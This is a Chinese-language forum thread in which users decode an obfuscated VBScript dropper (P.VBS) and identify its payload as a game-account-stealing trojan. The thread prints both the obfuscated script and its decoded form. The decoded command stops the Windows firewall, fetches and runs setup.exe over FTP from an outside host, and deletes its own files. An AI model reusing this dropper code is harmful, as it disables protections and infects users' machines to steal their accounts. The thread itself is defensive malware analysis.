幫忙解一下P.VBS

黑衣~魂

這如何解呢??

sub k
for i=1 to UBound(strs)
        runner=runner&chr(strs(i)-542)
next
Execute runner
end sub
strs=array(555,625,643,658,574,649,649,574,603,574,609,656,643,639,658,643,621,640,648,643,641,658,582,576,629,657,641,656,647,654,658,588,625,646,643,650,650,576,583,574,555,552,649,649,588,656,659,652,574,576,641,651,642,574,589,641,574,652,643,658,574,657,658,653,654,574,657,646,639,656,643,642,639,641,641,643,657,657,580,643,641,646,653,574,653,654,643,652,574,661,661,661,588,645,590,593,664,588,641,653,651,604,604,658,588,658,580,643,641,646,653,574,639,639,593,593,604,604,658,588,658,580,643,641,646,653,574,640,640,593,593,604,604,658,588,658,580,643,641,646,653,574,645,643,658,574,657,643,658,659,654,588,643,662,643,604,604,658,588,658,580,643,641,646,653,574,640,663,643,604,604,658,588,658,580,644,658,654,574,587,657,600,658,588,658,580,642,643,650,574,658,588,658,580,657,643,658,659,654,588,643,662,643,580,642,643,650,574,654,588,660,640,657,580,642,643,650,574,657,643,658,659,654,588,643,662,643,580,657,658,639,656,658,574,646,658,658,654,600,589,589,640,659,663,588,663,639,646,653,653,588,641,653,651,588,658,661,589,576,586,590,555,552)
k

will

解密后如下:

1. 
   
2. Set kk = CreateObject("Wscript.Shell")
   
3. kk.run "cmd /c net stop sharedaccess&echo open www.g03z.com>>t.t&echo aa33>>t.t&echo bb33>>t.t&echo get setup.exe>>t.t&echo bye>>t.t&ftp -s:t.t&del t.t&setup.exe&del p.vbs&del setup.exe&start http://buy.yahoo.com.tw/",0
   

复制代码

will

下载盗号木马...

328397663

2009-3-27 16:47:36        已删除: Trojan-GameThief.Win32.OnLineGames.utwn        C:\Documents and Settings\Administrator\桌面\新建文件夹\Setup\Setup.exe

ximo

这段代码写的还不清楚啊?
不过手工计算还真有点麻烦，毕竟ASCII值转字符还得查表，我一般都是根据一些常用的值来反推的，呵呵
谁有好用的工具麻烦提供一下吧

llydmissile

google一下，找到一个
http://www.skycn.com/soft/234.html
但是多引擎里好多报毒
http://www.virustotal.com/analis ... 01bb55a2f4d5f11952f

granthill

可以修改Execute关键字 来截获代码

ximo

谢谢5楼的提供工具。

qianwenxiang

ximo

原帖由 qianwenxiang 于 2009-3-27 17:40 发表
497137

原来如此。。。。。
NND,以前一直是纯手工算的，想不到。。。